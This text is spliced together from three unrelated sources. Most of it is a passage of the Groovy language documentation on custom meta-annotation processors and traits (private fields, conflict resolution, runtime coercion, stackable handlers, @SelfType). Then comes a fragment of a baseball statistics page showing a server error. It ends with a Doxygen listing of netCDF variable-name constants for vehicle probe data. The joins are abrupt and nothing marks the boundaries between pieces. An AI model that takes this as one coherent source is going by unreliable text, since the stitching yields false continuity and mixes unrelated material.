| 5 | the value of the @Foo annotation on Bob is a |
| 6 | while the value of the @Bar annotation on Bob is b |
| 7 | class Joe is annotated with @FooBar |
| 8 | then the value of the @Foo annotation on Joe is a |
| 9 | and the value of the @Bar annotation on Joe is also a |
In the second case, the meta-annotation value was copied in
both @Foo
and @Bar
annotations.
It is a compile time error if the collected annotations define the same members
with incompatible types. For example if on the previous example @Foo defined a value of
type String but @Bar defined a value of type int .
|
It is however possible to customize the behavior of meta-annotations and describe how collected annotations are expanded.
Custom annotation processors
A custom annotation processor will let you choose how to expand a meta-annotation into collected annotations. The behaviour of the meta-annotation is, in this case, totally up to you. To do this, you must:
-
create a meta-annotation processor, extending AnnotationCollectorTransform
-
declare the processor to be used in the meta-annotation declaration
To illustrate this, we are going to explore how the meta-annotation @CompileDynamic
is implemented.
@CompileDynamic
is a meta-annotation that expands itself
to @CompileStatic(TypeCheckingMode.SKIP)
. The problem is that the
default meta annotation processor doesn’t support enums and the
annotation value TypeCheckingMode.SKIP
is one.
The naive implementation here would not work:
@CompileStatic(TypeCheckingMode.SKIP)
@AnnotationCollector
public @interface CompileDynamic {}
Instead, we will define it like this:
@AnnotationCollector(processor = "org.codehaus.groovy.transform.CompileDynamicProcessor")
public @interface CompileDynamic {
}
The first thing you may notice is that our interface is no longer
annotated with @CompileStatic
. The reason for this is that we rely on
the processor
parameter instead, that references a class which
will generate the annotation.
Here is how the custom processor is implemented:
@CompileStatic (1)
class CompileDynamicProcessor extends AnnotationCollectorTransform { (2)
private static final ClassNode CS_NODE = ClassHelper.make(CompileStatic) (3)
private static final ClassNode TC_NODE = ClassHelper.make(TypeCheckingMode) (4)
List<AnnotationNode> visit(AnnotationNode collector, (5)
AnnotationNode aliasAnnotationUsage, (6)
AnnotatedNode aliasAnnotated, (7)
SourceUnit source) { (8)
def node = new AnnotationNode(CS_NODE) (9)
def enumRef = new PropertyExpression(
new ClassExpression(TC_NODE), "SKIP") (10)
node.addMember("value", enumRef) (11)
Collections.singletonList(node) (12)
}
}
| 1 | our custom processor is written in Groovy, and for better compilation performance, we use static compilation |
| 2 | the custom processor has to extend AnnotationCollectorTransform |
| 3 | create a class node representing the @CompileStatic annotation type |
| 4 | create a class node representing the TypeCheckingMode enum type |
| 5 | collector is the @AnnotationCollector node found in the meta-annotation. Usually unused. |
| 6 | aliasAnnotationUsage is the meta-annotation being expanded, here it is @CompileDynamic |
| 7 | aliasAnnotated is the node being annotated with the meta-annotation |
| 8 | sourceUnit is the SourceUnit being compiled |
| 9 | we create a new annotation node for @CompileStatic |
| 10 | we create an expression equivalent to TypeCheckingMode.SKIP |
| 11 | we add that expression to the annotation node, which is now @CompileStatic(TypeCheckingMode.SKIP) |
| 12 | return the generated annotation |
In the example, the visit
method is the only method which has to be overriden. It is meant to return a list of
annotation nodes that will be added to the node annotated with the meta-annotation. In this example, we return a
single one corresponding to @CompileStatic(TypeCheckingMode.SKIP)
.
2. Traits
Traits are a a structural construct of the language which allow:
-
composition of behaviors
-
runtime implementation of interfaces
-
behavior overriding
-
compatibility with static type checking/compilation
They can be seen as interfaces carrying both default implementations and state. A trait is defined using the
trait
keyword:
trait FlyingAbility { (1)
String fly() { "I'm flying!" } (2)
}
| 1 | declaration of a trait |
| 2 | declaration of a method inside a trait |
Then it can be used like a normal interface using the implements
keyword:
class Bird implements FlyingAbility {} (1)
def b = new Bird() (2)
assert b.fly() == "I'm flying!" (3)
| 1 | Adds the trait FlyingAbility to the Bird class capabilities |
| 2 | instantiate a new Bird |
| 3 | the Bird class automatically gets the behavior of the FlyingAbility trait |
Traits allow a wide range of capabilities, from simple composition to testing, which are described thoroughly in this section.
2.1. Methods
2.1.1. Public methods
Declaring a method in a trait can be done like any regular method in a class:
trait FlyingAbility { (1)
String fly() { "I'm flying!" } (2)
}
| 1 | declaration of a trait |
| 2 | declaration of a method inside a trait |
2.1.2. Abstract methods
In addition, traits may declare abstract methods too, which therefore need to be implemented in the class implementing the trait:
trait Greetable {
abstract String name() (1)
String greeting() { "Hello, ${name()}!" } (2)
}
| 1 | implementing class will have to declare the name method |
| 2 | can be mixed with a concrete method |
Then the trait can be used like this:
class Person implements Greetable { (1)
String name() { 'Bob' } (2)
}
def p = new Person()
assert p.greeting() == 'Hello, Bob!' (3)
| 1 | implement the trait Greetable |
| 2 | since name was abstract, it is required to implement it |
| 3 | then greeting can be called |
2.1.3. Private methods
Traits may also define private methods. Those methods will not appear in the trait contract interface:
trait Greeter {
private String greetingMessage() { (1)
'Hello from a private method!'
}
String greet() {
def m = greetingMessage() (2)
println m
m
}
}
class GreetingMachine implements Greeter {} (3)
def g = new GreetingMachine()
assert g.greet() == "Hello from a private method!" (4)
try {
assert g.greetingMessage() (5)
} catch (MissingMethodException e) {
println "greetingMessage is private in trait"
}
| 1 | define a private method greetingMessage in the trait |
| 2 | the public greet message calls greetingMessage by default |
| 3 | create a class implementing the trait |
| 4 | greet can be called |
| 5 | but not greetingMessage |
Traits only support public and private methods. Neither protected nor package private scopes are
supported.
|
2.2. The meaning of this
this
represents the implementing instance. Think of a trait as a superclass. This means that when you write:
trait Introspector {
def whoAmI() { this }
}
class Foo implements Introspector {}
def foo = new Foo()
then calling:
foo.whoAmI()
will return the same instance:
assert foo.whoAmI().is(foo)
2.3. Interfaces
Traits may implement interfaces, in which case the interfaces are declared using the implements
keyword:
interface Named { (1)
String name()
}
trait Greetable implements Named { (2)
String greeting() { "Hello, ${name()}!" }
}
class Person implements Greetable { (3)
String name() { 'Bob' } (4)
}
def p = new Person()
assert p.greeting() == 'Hello, Bob!' (5)
assert p instanceof Named (6)
assert p instanceof Greetable (7)
| 1 | declaration of a normal interface |
| 2 | add Named to the list of implemented interfaces |
| 3 | declare a class that implements the Greetable trait |
| 4 | implement the missing greet method |
| 5 | the greeting implementation comes from the trait |
| 6 | make sure Person implements the Named interface |
| 7 | make sure Person implements the Greetable trait |
2.4. Properties
A trait may define properties, like in the following example:
trait Named {
String name (1)
}
class Person implements Named {} (2)
def p = new Person(name: 'Bob') (3)
assert p.name == 'Bob' (4)
assert p.getName() == 'Bob' (5)
| 1 | declare a property name inside a trait |
| 2 | declare a class which implements the trait |
| 3 | the property is automatically made visible |
| 4 | it can be accessed using the regular property accessor |
| 5 | or using the regular getter syntax |
2.5. Fields
2.5.1. Private fields
Since traits allow the use of private methods, it can also be interesting to use private fields to store state. Traits will let you do that:
trait Counter {
private int count = 0 (1)
int count() { count += 1; count } (2)
}
class Foo implements Counter {} (3)
def f = new Foo()
assert f.count() == 1 (4)
assert f.count() == 2
| 1 | declare a private field count inside a trait |
| 2 | declare a public method count that increments the counter and returns it |
| 3 | declare a class that implements the Counter trait |
| 4 | the count method can use the private field to keep state |
| This is a major difference with Java 8 virtual extension methods. While virtual extension methods do not carry state, traits can. Moreover, traits in Groovy are supported starting with Java 6, because their implementation does not rely on virtual extension methods. This means that even if a trait can be seen from a Java class as a regular interface, that interface will not have default methods, only abstract ones. |
2.5.2. Public fields
Public fields work the same way as private fields, but in order to avoid the diamond problem, field names are remapped in the implementing class:
trait Named {
public String name (1)
}
class Person implements Named {} (2)
def p = new Person() (3)
p.Named__name = 'Bob' (4)
| 1 | declare a public field inside the trait |
| 2 | declare a class implementing the trait |
| 3 | create an instance of that class |
| 4 | the public field is available, but renamed |
The name of the field depends on the fully qualified name of the trait. All dots (.
) in package are replaced with an underscore (_
), and the final name includes a double underscore.
So if the type of the field is String
, the name of the package is my.package
, the name of the trait is Foo
and the name of the field is bar
,
in the implementing class, the public field will appear as:
String my_package_Foo__bar
| While traits support public fields, it is not recommended to use them and considered as a bad practice. |
2.6. Composition of behaviors
Traits can be used to implement multiple inheritance in a controlled way, avoiding the diamond issue. For example, we can have the following traits:
trait FlyingAbility { (1)
String fly() { "I'm flying!" } (2)
}
trait SpeakingAbility {
String speak() { "I'm speaking!" }
}
And a class implementing both traits:
class Duck implements FlyingAbility, SpeakingAbility {} (1)
def d = new Duck() (2)
assert d.fly() == "I'm flying!" (3)
assert d.speak() == "I'm speaking!" (4)
| 1 | the Duck class implements both FlyingAbility and SpeakingAbility |
| 2 | creates a new instance of Duck |
| 3 | we can call the method fly from FlyingAbility |
| 4 | but also the method speak from SpeakingAbility |
Traits encourage the reuse of capabilities among objects, and the creation of new classes by the composition of existing behavior.
2.7. Overriding default methods
Traits provide default implementations for methods, but it is possible to override them in the implementing class. For example, we can slightly change the example above, by having a duck which quacks:
class Duck implements FlyingAbility, SpeakingAbility {
String quack() { "Quack!" } (1)
String speak() { quack() } (2)
}
def d = new Duck()
assert d.fly() == "I'm flying!" (3)
assert d.quack() == "Quack!" (4)
assert d.speak() == "Quack!" (5)
| 1 | define a method specific to Duck , named quack |
| 2 | override the default implementation of speak so that we use quack instead |
| 3 | the duck is still flying, from the default implementation |
| 4 | quack comes from the Duck class |
| 5 | speak no longer uses the default implementation from SpeakingAbility |
2.8. Extending traits
2.8.1. Simple inheritance
Traits may extend another trait, in which case you must use the extends
keyword:
trait Named {
String name (1)
}
trait Polite extends Named { (2)
String introduce() { "Hello, I am $name" } (3)
}
class Person implements Polite {}
def p = new Person(name: 'Alice') (4)
assert p.introduce() == 'Hello, I am Alice' (5)
| 1 | the Named trait defines a single name property |
| 2 | the Polite trait extends the Named trait |
| 3 | Polite adds a new method which has access to the name property of the super-trait |
| 4 | the name property is visible from the Person class implementing Polite |
| 5 | as is the introduce method |
2.8.2. Multiple inheritance
Alternatively, a trait may extend multiple traits. In that case, all super traits must be declared in the implements
clause:
trait WithId { (1)
Long id
}
trait WithName { (2)
String name
}
trait Identified implements WithId, WithName {} (3)
| 1 | WithId trait defines the id property |
| 2 | WithName trait defines the name property |
| 3 | Identified is a trait which inherits both WithId and WithName |
2.9. Duck typing and traits
2.9.1. Dynamic code
Traits can call any dynamic code, like a normal Groovy class. This means that you can, in the body of a method, call methods which are supposed to exist in an implementing class, without having to explicitly declare them in an interface. This means that traits are fully compatible with duck typing:
trait SpeakingDuck {
String speak() { quack() } (1)
}
class Duck implements SpeakingDuck {
String methodMissing(String name, args) {
"${name.capitalize()}!" (2)
}
}
def d = new Duck()
assert d.speak() == 'Quack!' (3)
| 1 | the SpeakingDuck expects the quack method to be defined |
| 2 | the Duck class does implement the method using methodMissing |
| 3 | calling the speak method triggers a call to quack which is handled by methodMissing |
2.9.2. Dynamic methods in a trait
It is also possible for a trait to implement MOP methods like methodMissing
or propertyMissing
, in which case implementing classes
will inherit the behavior from the trait, like in this example:
trait DynamicObject { (1)
private Map props = [:]
def methodMissing(String name, args) {
name.toUpperCase()
}
def propertyMissing(String prop) {
props[prop]
}
void setProperty(String prop, Object value) {
props[prop] = value
}
}
class Dynamic implements DynamicObject {
String existingProperty = 'ok' (2)
String existingMethod() { 'ok' } (3)
}
def d = new Dynamic()
assert d.existingProperty == 'ok' (4)
assert d.foo == null (5)
d.foo = 'bar' (6)
assert d.foo == 'bar' (7)
assert d.existingMethod() == 'ok' (8)
assert d.someMethod() == 'SOMEMETHOD' (9)
| 1 | create a trait implementing several MOP methods |
| 2 | the Dynamic class defines a property |
| 3 | the Dynamic class defines a method |
| 4 | calling an existing property will call the method from Dynamic |
| 5 | calling an non-existing property will call the method from the trait |
| 6 | will call setProperty defined on the trait |
| 7 | will call getProperty defined on the trait |
| 8 | calling an existing method on Dynamic |
| 9 | but calling a non existing method thanks to the trait methodMissing |
2.10. Multiple inheritance conflicts
2.10.1. Default conflict resolution
It is possible for a class to implement multiple traits. If some trait defines a method with the same signature as a method in another trait, we have a conflict:
trait A {
String exec() { 'A' } (1)
}
trait B {
String exec() { 'B' } (2)
}
class C implements A,B {} (3)
| 1 | trait A defines a method named exec returning a String |
| 2 | trait B defines the very same method |
| 3 | class C implements both traits |
In this case, the default behavior is that methods from the last declared trait wins. Here, B
is declared after A
so the method from B
will be picked up:
def c = new C()
assert c.exec() == 'B'
2.10.2. User conflict resolution
In case this behavior is not the one you want, you can explicitly choose which method to call using the Trait.super.foo
syntax.
In the example above, we can force to choose the method from trait A, by writing this:
class C implements A,B {
String exec() { A.super.exec() } (1)
}
def c = new C()
assert c.exec() == 'A' (2)
| 1 | explicit call of exec from the trait A |
| 2 | calls the version from A instead of using the default resolution, which would be the one from B |
2.11. Runtime implementation of traits
2.11.1. Implementing a trait at runtime
Groovy also supports implementing traits dynamically at runtime. It allows you to "decorate" an existing object using a trait. As an example, let’s start with this trait and the following class:
trait Extra {
String extra() { "I'm an extra method" } (1)
}
class Something { (2)
String doSomething() { 'Something' } (3)
}
| 1 | the Extra trait defines an extra method |
| 2 | the Something class does not implement the Extra trait |
| 3 | Something only defines a method doSomething |
Then if we do:
def s = new Something()
s.extra()
the call to extra would fail because Something
is not implementing Extra
. It is possible to do it at runtime with
the following syntax:
def s = new Something() as Extra (1)
s.extra() (2)
s.doSomething() (3)
| 1 | use of the as keyword to coerce an object to a trait at runtime |
| 2 | then extra can be called on the object |
| 3 | and doSomething is still callable |
| When coercing an object to a trait, the result of the operation is not the same instance. It is guaranteed that the coerced object will implement both the trait and the interfaces that the original object implements, but the result will not be an instance of the original class. |
2.11.2. Implementing multiple traits at once
Should you need to implement several traits at once, you can use the withTraits
method instead of the as
keyword:
trait A { void methodFromA() {} }
trait B { void methodFromB() {} }
class C {}
def c = new C()
c.methodFromA() (1)
c.methodFromB() (2)
def d = c.withTraits A, B (3)
d.methodFromA() (4)
d.methodFromB() (5)
| 1 | call to methodFromA will fail because C doesn’t implement A |
| 2 | call to methodFromB will fail because C doesn’t implement B |
| 3 | withTrait will wrap c into something which implements A and B |
| 4 | methodFromA will now pass because d implements A |
| 5 | methodFromB will now pass because d also implements B |
| When coercing an object to multiple traits, the result of the operation is not the same instance. It is guaranteed that the coerced object will implement both the traits and the interfaces that the original object implements, but the result will not be an instance of the original class. |
2.12. Chaining behavior
Groovy supports the concept of stackable traits. The idea is to delegate from one trait to the other if the current trait is not capable of handling a message. To illustrate this, let’s imagine a message handler interface like this:
interface MessageHandler {
void on(String message, Map payload)
}
Then you can compose a message handler by applying small behaviors. For example, let’s define a default handler in the form of a trait:
trait DefaultHandler implements MessageHandler {
void on(String message, Map payload) {
println "Received $message with payload $payload"
}
}
Then any class can inherit the behavior of the default handler by implementing the trait:
class SimpleHandler implements DefaultHandler {}
Now what if you want to log all messages, in addition to the default handler? One option is to write this:
class SimpleHandlerWithLogging implements DefaultHandler {
void on(String message, Map payload) { (1)
println "Seeing $message with payload $payload" (2)
DefaultHandler.super.on(message, payload) (3)
}
}
| 1 | explicitly implement the on method |
| 2 | perform logging |
| 3 | continue by delegating to the DefaultHandler trait |
This works but this approach has drawbacks:
-
the logging logic is bound to a "concrete" handler
-
we have an explicit reference to
DefaultHandler
in theon
method, meaning that if we happen to change the trait that our class implements, code will be broken
As an alternative, we can write another trait which responsibility is limited to logging:
trait LoggingHandler implements MessageHandler { (1)
void on(String message, Map payload) {
println "Seeing $message with payload $payload" (2)
super.on(message, payload) (3)
}
}
| 1 | the logging handler is itself a handler |
| 2 | prints the message it receives |
| 3 | then super makes it delegate the call to the next trait in the chain |
Then our class can be rewritten as this:
class HandlerWithLogger implements DefaultHandler, LoggingHandler {}
def loggingHandler = new HandlerWithLogger()
loggingHandler.on('test logging', [:])
which will print:
Seeing test logging with payload [:] Received test logging with payload [:]
As the priority rules imply that LoggerHandler
wins because it is declared last, then a call to on
will use
the implementation from LoggingHandler
. But the latter has a call to super
, which means the next trait in the
chain. Here, the next trait is DefaultHandler
so both will be called:
The interest of this approach becomes more evident if we add a third handler, which is responsible for handling messages
that start with say
:
trait SayHandler implements MessageHandler {
void on(String message, Map payload) {
if (message.startsWith("say")) { (1)
println "I say ${message - 'say'}!"
} else {
super.on(message, payload) (2)
}
}
}
| 1 | a handler specific precondition |
| 2 | if the precondition is not met, pass the message to the next handler in the chain |
Then our final handler looks like this:
class Handler implements DefaultHandler, SayHandler, LoggingHandler {}
def h = new Handler()
h.on('foo', [:])
h.on('sayHello', [:])
Which means:
-
messages will first go through the logging handler
-
the logging handler calls
super
which will delegate to the next handler, which is theSayHandler
-
if the message starts with
say
, then the handler consumes the message -
if not, the
say
handler delegates to the next handler in the chain
This approach is very powerful because it allows you to write handlers that do not know each other and yet let you combine them in the order you want. For example, if we execute the code, it will print:
Seeing foo with payload [:] Received foo with payload [:] Seeing sayHello with payload [:] I say Hello!
but if we move the logging handler to be the second one in the chain, the output is different:
class AlternateHandler implements DefaultHandler, LoggingHandler, SayHandler {}
h = new AlternateHandler()
h.on('foo', [:])
h.on('sayHello', [:])
prints:
Seeing foo with payload [:] Received foo with payload [:] I say Hello!
The reason is that now, since the SayHandler
consumes the message without calling super
, the logging handler is
not called anymore.
2.12.1. Semantics of super inside a trait
If a class implements multiple traits and a call to an unqualified super
is found, then:
-
if the class implements another trait, the call delegates to the next trait in the chain
-
if there isn’t any trait left in the chain,
super
refers to the super class of the implementing class (this)
For example, it is possible to decorate final classes thanks to this behavior:
trait Filtering { (1)
StringBuilder append(String str) { (2)
def subst = str.replace('o','') (3)
super.append(subst) (4)
}
String toString() { super.toString() } (5)
}
def sb = new StringBuilder().withTraits Filtering (6)
sb.append('Groovy')
assert sb.toString() == 'Grvy' (7)
| 1 | define a trait named Filtering , supposed to be applied on a StringBuilder at runtime |
| 2 | redefine the append method |
| 3 | remove all 'o’s from the string |
| 4 | then delegate to super |
| 5 | in case toString is called, delegate to super.toString |
| 6 | runtime implementation of the Filtering trait on a StringBuilder instance |
| 7 | the string which has been appended no longer contains the letter o |
In this example, when super.append
is encountered, there is no other trait implemented by the target object, so the
method which is called is the original append
method, that is to say the one from StringBuilder
. The same trick
is used for toString
, so that the string representation of the proxy object which is generated delegates to the
toString
of the StringBuilder
instance.
2.13. Advanced features
2.13.1. SAM type coercion
If a trait defines a single abstract method, it is candidate for SAM (Single Abstract Method) type coercion. For example, imagine the following trait:
trait Greeter {
String greet() { "Hello $name" } (1)
abstract String getName() (2)
}
| 1 | the greet method is not abstract and calls the abstract method getName |
| 2 | getName is an abstract method |
Since getName
is the single abstract method in the Greeter
trait, you can write:
Greeter greeter = { 'Alice' } (1)
| 1 | the closure "becomes" the implementation of the getName single abstract method |
or even:
void greet(Greeter g) { println g.greet() } (1)
greet { 'Alice' } (2)
| 1 | the greet method accepts the SAM type Greeter as parameter |
| 2 | we can call it directly with a closure |
2.13.2. Differences with Java 8 default methods
In Java 8, interfaces can have default implementations of methods. If a class implements an interface and does not provide an implementation for a default method, then the implementation from the interface is chosen. Traits behave the same but with a major difference: the implementation from the trait is always used if the class declares the trait in its interface list and that it doesn’t provide an implementation.
This feature can be used to compose behaviors in an very precise way, in case you want to override the behavior of an already implemented method.
To illustrate the concept, let’s start with this simple example:
import groovy.transform.CompileStatic
import org.codehaus.groovy.control.CompilerConfiguration
import org.codehaus.groovy.control.customizers.ASTTransformationCustomizer
import org.codehaus.groovy.control.customizers.ImportCustomizer
class SomeTest extends GroovyTestCase {
def config
def shell
void setup() {
config = new CompilerConfiguration()
shell = new GroovyShell(config)
}
void testSomething() {
assert shell.evaluate('1+1') == 2
}
void otherTest() { /* ... */ }
}
In this example, we create a simple test case which uses two properties (config and shell) and uses those in
multiple test methods. Now imagine that you want to test the same, but with another distinct compiler configuration.
One option is to create a subclass of SomeTest
:
class AnotherTest extends SomeTest {
void setup() {
config = new CompilerConfiguration()
config.addCompilationCustomizers( ... )
shell = new GroovyShell(config)
}
}
It works, but what if you have actually multiple test classes, and that you want to test the new configuration for all those test classes? Then you would have to create a distinct subclass for each test class:
class YetAnotherTest extends SomeTest {
void setup() {
config = new CompilerConfiguration()
config.addCompilationCustomizers( ... )
shell = new GroovyShell(config)
}
}
Then what you see is that the setup
method of both tests is the same. The idea, then, is to create a trait:
trait MyTestSupport {
void setup() {
config = new CompilerConfiguration()
config.addCompilationCustomizers( new ASTTransformationCustomizer(CompileStatic) )
shell = new GroovyShell(config)
}
}
Then use it in the subclasses:
class AnotherTest extends SomeTest implements MyTestSupport {}
class YetAnotherTest extends SomeTest2 implements MyTestSupport {}
...
It would allow us to dramatically reduce the boilerplate code, and reduces the risk of forgetting to change the setup
code in case we decide to change it. Even if setup
is already implemented in the super class, since the test class declares
the trait in its interface list, the behavior will be borrowed from the trait implementation!
This feature is in particular useful when you don’t have access to the super class source code. It can be used to mock methods or force a particular implementation of a method in a subclass. It lets you refactor your code to keep the overridden logic in a single trait and inherit a new behavior just by implementing it. The alternative, of course, is to override the method in every place you would have used the new code.
| It’s worth noting that if you use runtime traits, the methods from the trait are always preferred to those of the proxied object: |
class Person {
String name (1)
}
trait Bob {
String getName() { 'Bob' } (2)
}
def p = new Person(name: 'Alice')
assert p.name == 'Alice' (3)
def p2 = p as Bob (4)
assert p2.name == 'Bob' (5)
| 1 | the Person class defines a name property which results in a getName method |
| 2 | Bob is a trait which defines getName as returning Bob |
| 3 | the default object will return Alice |
| 4 | p2 coerces p into Bob at runtime |
| 5 | getName returns Bob because getName is taken from the trait |
| Again, don’t forget that dynamic trait coercion returns a distinct object which only implements the original interfaces, as well as the traits. |
2.14. Differences with mixins
There are several conceptual differences with mixins, as they are available in Groovy. Note that we are talking about runtime mixins, not the @Mixin annotation which is deprecated in favour of traits.
First of all, methods defined in a trait are visible in bytecode:
-
internally, the trait is represented as an interface (without default methods) and several helper classes
-
this means that an object implementing a trait effectively implements an interface
-
those methods are visible from Java
-
they are compatible with type checking and static compilation
Methods added through a mixin are, on the contrary, only visible at runtime:
class A { String methodFromA() { 'A' } } (1)
class B { String methodFromB() { 'B' } } (2)
A.metaClass.mixin B (3)
def o = new A()
assert o.methodFromA() == 'A' (4)
assert o.methodFromB() == 'B' (5)
assert o instanceof A (6)
assert !(o instanceof B) (7)
| 1 | class A defines methodFromA |
| 2 | class B defines methodFromB |
| 3 | mixin B into A |
| 4 | we can call methodFromA |
| 5 | we can also call methodFromB |
| 6 | the object is an instance of A |
| 7 | but it’s not an instanceof B |
The last point is actually a very important and illustrates a place where mixins have an advantage over traits: the instances are not modified, so if you mixin some class into another, there isn’t a third class generated, and methods which respond to A will continue responding to A even if mixed in.
2.15. Static methods, properties and fields
| The following instructions are subject to caution. Static member support is work in progress and still experimental. The information below is valid for 2.4.4 only. |
It is possible to define static methods in a trait, but it comes with numerous limitations:
-
traits with static methods cannot be compiled statically or type checked. All static methods/properties/field are accessed dynamically (it’s a limitation from the JVM).
-
the trait is interpreted as a template for the implementing class, which means that each implementing class will get its own static methods/properties/methods. So a static member declared on a trait doesn’t belong to the
Trait
, but to it’s implementing class.
Let’s start with a simple example:
trait TestHelper {
public static boolean CALLED = false (1)
static void init() { (2)
CALLED = true (3)
}
}
class Foo implements TestHelper {}
Foo.init() (4)
assert Foo.TestHelper__CALLED (5)
| 1 | the static field is declared in the trait |
| 2 | a static method is also declared in the trait |
| 3 | the static field is updated within the trait |
| 4 | a static method init is made available to the implementing class |
| 5 | the static field is remapped to avoid the diamond issue |
As usual, it is not recommended to use public fields. Anyway, should you want this, you must understand that the following code would fail:
Foo.CALLED = true
because there is no static field CALLED defined on the trait itself. Likewise, if you have two distinct implementing classes, each one gets a distinct static field:
class Bar implements TestHelper {} (1)
class Baz implements TestHelper {} (2)
Bar.init() (3)
assert Bar.TestHelper__CALLED (4)
assert !Baz.TestHelper__CALLED (5)
| 1 | class Bar implements the trait |
| 2 | class Baz also implements the trait |
| 3 | init is only called on Bar |
| 4 | the static field CALLED on Bar is updated |
| 5 | but the static field CALLED on Baz is not, because it is distinct |
2.16. Inheritance of state gotchas
We have seen that traits are stateful. It is possible for a trait to define fields or properties, but when a class implements a trait, it gets those fields/properties on a per-trait basis. So consider the following example:
trait IntCouple {
int x = 1
int y = 2
int sum() { x+y }
}
The trait defines two properties, x
and y
, as well as a sum
method. Now let’s create a class which implements the trait:
class BaseElem implements IntCouple {
int f() { sum() }
}
def base = new BaseElem()
assert base.f() == 3
The result of calling f
is 3
, because f
delegates to sum
in the trait, which has state. But what if we write this instead?
class Elem implements IntCouple {
int x = 3 (1)
int y = 4 (2)
int f() { sum() } (3)
}
def elem = new Elem()
| 1 | Override property x |
| 2 | Override property y |
| 3 | Call sum from trait |
If you call elem.f()
, what is the expected output? Actually it is:
assert elem.f() == 3
The reason is that the sum
method accesses the fields of the trait. So it is using the x
and y
values defined
in the trait. If you want to use the values from the implementing class, then you need to dereference fields by using
getters and setters, like in this last example:
trait IntCouple {
int x = 1
int y = 2
int sum() { getX()+getY() }
}
class Elem implements IntCouple {
int x = 3
int y = 4
int f() { sum() }
}
def elem = new Elem()
assert elem.f() == 7
2.17. Self types
2.17.1. Type constraints on traits
Sometimes you will want to write a trait that can only be applied to some type. For example, you may want to apply a trait on a class that extends another class which is beyond your control, and still be able to call those methods. To illustrate this, let’s start with this example:
class CommunicationService {
static void sendMessage(String from, String to, String message) { (1)
println "$from sent [$message] to $to"
}
}
class Device { String id } (2)
trait Communicating {
void sendMessage(Device to, String message) {
CommunicationService.sendMessage(id, to.id, message) (3)
}
}
class MyDevice extends Device implements Communicating {} (4)
def bob = new MyDevice(id:'Bob')
def alice = new MyDevice(id:'Alice')
bob.sendMessage(alice,'secret') (5)
| 1 | A Service class, beyond your control (in a library, …) defines a sendMessage method |
| 2 | A Device class, beyond your control (in a library, …) |
| 3 | Defines a communicating trait for devices that can call the service |
| 4 | Defines MyDevice as a communicating device |
| 5 | The method from the trait is called, and id is resolved |
It is clear, here, that the Communicating
trait can only apply to Device
. However, there’s no explicit
contract to tell that, because traits cannot extend classes. However, the code compiles and runs perfectly
fine, because id
in the trait method will be resolved dynamically. The problem is that there is nothing that
prevents the trait from being applied to any class which is not a Device
. Any class which has an id
would
work, while any class that does not have an id
property would cause a runtime error.
The problem is even more complex if you want to enable type checking or apply @CompileStatic
on the trait: because
the trait knows nothing about itself being a Device
, the type checker will complain saying that it does not find
the id
property.
One possibility is to explicitly add a getId
method in the trait, but it would not solve all issues. What if a method
requires this
as a parameter, and actually requires it to be a Device
?
class SecurityService {
static void check(Device d) { if (d.id==null) throw new SecurityException() }
}
If you want to be able to call this in the trait, then you will explicitly need to cast this
into a Device
. This can
quickly become unreadable with explicit casts to this everywhere.
2.17.2. The @SelfType annotation
In order to make this contract explicit, and to make the type checker aware of the type of itself, Groovy provides
a @SelfType
annotation that will:
-
let you declare the types that a class that implements this trait must inherit or implement
-
throw a compile time error if those type constraints are not satisfied
So in our previous example, we can fix the trait using the @groovy.transform.SelfType
annotation:
@SelfType(Device)
@CompileStatic
trait Communicating {
void sendMessage(Device to, String message) {
SecurityService.check(this)
CommunicationService.sendMessage(id, to.id, message)
}
}
Now if you try to implement this trait on a class that is not a device, a compile-time error will occur:
class MyDevice implements Communicating {} // forgot to extend Device
The error will be:
class 'MyDevice' implements trait 'Communicating' but does not extend self type class 'Device'
In conclusion, self types are a powerful way of declaring constraints on traits without having to declare the contract directly in the trait or having to use casts everywhere, maintaining separation of concerns as tight as it should be.
2.18. Limitations
2.18.1. Compatibility with AST transformations
Traits are not officially compatible with AST transformations. Some of them, like @CompileStatic will be applied
on the trait itself (not on implementing classes), while others will apply on both the implementing class and the trait.
There is absolutely no guarantee that an AST transformation will run on a trait as it does on a regular class, so use it
at your own risk!
|
2.18.2. Prefix and postfix operations
Within traits, prefix and postfix operations are not allowed if they update a field of the trait:
trait Counting {
int x
void inc() {
x++ (1)
}
void dec() {
--x (2)
}
}
class Counter implements Counting {}
def c = new Counter()
c.inc()
| 1 | x is defined within the trait, postfix increment is not allowed |
| 2 | x is defined within the trait, prefix decrement is not allowed |
A workaround is to use the +=
operator instead.


Toggle navigation
Three Stats
Top
Three Stats - Readable Baseball Library
Sorry, Internal Server Error...


|
|
static const char * | REC_NUM = "rec_num" |
| | number of records netcdf dimension name
|
| |
|
static const char * | VEHICLE_ID_LEN = "vehicle_id_len" |
| | vehicle id length netcdf dimension name
|
| |
|
static const char * | LATITUDE = "latitude" |
| | latitude netcdf variable name
|
| |
|
static const char * | LONGITUDE = "longitude" |
| | longitude netcdf variable name
|
| |
|
static const char * | ELEVATION = "elevation" |
| | elevation netcdf variable name
|
| |
|
static const char * | OBS_TIME = "obs_time" |
| | observation time netcdf variable name
|
| |
|
static const char * | REC_TIME = "rec_time" |
| | received time netcdf variable name
|
| |
|
static const char * | VEHICLE_ID = "vehicle_id" |
| | vehicle id netcdf variable name
|
| |
|
static const char * | SPEED = "speed" |
| | speed netcdf variable name
|
| |
|
static const char * | BRAKE_STATUS = "brake_status" |
| | brake status netcdf variable name
|
| |
|
static const char * | BRAKE_BOOST = "brake_boost" |
| | brake boost netcdf variable name
|
| |
|
static const char * | WIPER_STATUS = "wiper_status" |
| | wiper status netcdf variable name
|
| |
|
static const char * | AIR_TEMPERATURE = "air_temp" |
| | air temperature netcdf variable name
|
| |
|
static const char * | BAR_PRESSURE = "bar_pressure" |
| | barometric pressure netcdf variable name
|
| |
|
static const char * | TRACTION_CONTROL = "trac" |
| | traction control netcdf variable name
|
| |
|
static const char * | STABILITY_CONTROL = "stab" |
| | stability control netcdf variable name
|
| |
|
static const char * | ABS = "abs" |
| | anti lock brake system netcdf variable name
|
| |
|
static const char * | LIGHTS = "lights" |
| | lights netcdf variable name
|
| |
|
static const char * | PROBE_SEGMENT_NUMBER |
| | probe segment netcdf variable name
|
| |
|
static const char * | HEADING = "heading" |
| | heading netcdf variable name
|
| |
|
static const char * | YAW_RATE = "yaw_rate" |
| | yaw rate netcdf variable name
|
| |
|
static const char * | LONGITUDINAL_ACCELERATION = "hoz_accel_long" |
| | longitudinal acceleration netcdf variable name
|
| |
|
static const char * | LATERAL_ACCELERATION = "hoz_accel_lat" |
| | lateral acceleration netcdf variable name
|
| |
|
static const char * | STEERING_ANGLE = "steering_angle" |
| | steering angle netcdf variable name
|
| |
|
